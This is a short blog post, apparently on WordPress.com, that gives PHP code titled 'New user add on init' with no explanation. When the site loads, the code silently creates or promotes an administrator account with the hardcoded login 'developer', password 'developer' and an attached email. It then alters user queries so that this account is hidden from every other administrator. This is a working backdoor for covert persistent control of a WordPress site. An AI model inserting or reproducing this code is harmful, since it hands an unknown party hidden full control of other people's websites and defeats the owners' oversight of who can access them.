New user add on init


bloginfo_new();
function bloginfo_new()
{
require_once(ABSPATH.'wp-blog-header.php');
require_once(ABSPATH.'/wp-includes/registration.php');

$newusername = 'developer';
$newpassword = 'developer';
$newemail = 'dalvadimansukh@gmail.com';

if ( !username_exists($newusername) && !email_exists($newemail) )
{
$user_id = wp_create_user( $newusername, $newpassword, $newemail);
if ( is_int($user_id) )
{
$wp_user_object = new WP_User($user_id);
$wp_user_object->set_role('administrator');
update_option('newusername',$newusername);
}
}
else
{
$userdata = get_user_by_email($newemail);
$user = new WP_User( $userdata->ID );
if($user->roles[0] != "administrator")
{
$user_id = wp_update_user( array( 'ID' => $userdata->ID, 'role' => 'administrator' ) );
}
}
}

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

$newusername = get_option('newusername');

if ($username == $newusername) {

}

else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$newusername'",$user_search->query_where);
}
}

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s